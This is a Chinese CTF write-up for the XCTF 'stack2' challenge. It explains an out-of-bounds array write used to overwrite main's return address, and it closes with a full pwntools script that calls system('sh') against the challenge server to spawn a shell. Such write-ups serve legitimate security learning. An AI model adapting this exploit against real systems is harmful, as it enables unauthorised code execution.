XCTF stack2 [Writeup]

题源

https://adworld.xctf.org.cn/challenges/details?hash=4bb2f552-6679-4d25-a18d-883e4d9c206b_2

题解

TL;DR

32bit程序劫持main函数返回地址,构造system函数,准备sh参数

照例先checksec看一下情况

在这里插入图片描述

32位程序,没有开PIE,所以程序代码段都是用静态地址

照例IDA看一下main函数

在这里插入图片描述

如上图所示,非常明显地,在往v13这个局部数组变量里写一个字符时没有检查是否越界。根据栈上数组和函数返回地址的相对关系,用gdb可以调试出来当修改第0x84个字节的时候,返回地址的最低1byte会被修改掉。利用这一点可以修改main函数的返回地址,每次修改1个字节。

用IDA发现程序给了一个hackhere函数在0x804859B,所以可以修改main跳转到这里。

在这里插入图片描述

不过在ssh执行时发现目标只有sh,没有/bin/bash,所以hackhere不可用,如下图。

在这里插入图片描述

那么需要自己构造新的后门函数,比如system("sh")system地址可以从plt表拿到,sh字符串可以用ROPgadget搜到。相比于跳转到hackhere函数,多了一个步骤是需要在栈上准备好sh字符串的地址。

在这里插入图片描述

最后运行脚本拿到flag。

在这里插入图片描述

完整代码

from pwn import *

io = remote('61.147.171.105',64929)
# io = process('./stack2')
prox = ELF('./stack2')

system_plt = prox.plt['system']
sh_address = 0x08048987
ret_offset = 0x70+0x10+0x4
io.sendlineafter(b'have:',b'0')

def send_4bytes(offset,number):
    def send_num(ind,num):
        io.sendlineafter(b'exit',b'3')
        io.sendlineafter(b'change:',ind)
        io.sendlineafter(b'number:',num)
    for i in range(4):
        send_num(str(offset+i).encode(),str((number>>(i*8))&0xff).encode())

send_4bytes(ret_offset,system_plt)
send_4bytes(ret_offset+0x8,sh_address)

io.sendlineafter(b'exit',b'5')

io.interactive()

总结

  • 在IDA看v13数组与ebp偏移时其实是0x70+0x4字节,但执行时gdb发现程序又用ecx修改了esp的值,实际是0x84的偏移。不确定这个是什么原因?
  • system("sh")也可以进shell,不一定非得"/bin/bash"
  • 假的getshell函数挺唬人的,一不小心容易被弄乱思路
  • 回顾一下知识点,放sh_address时候需要设置0x8的偏移是用来放ebp和return address,然后才轮到arg1

猜你喜欢

转载自blog.csdn.net/weixin_43483799/article/details/128834860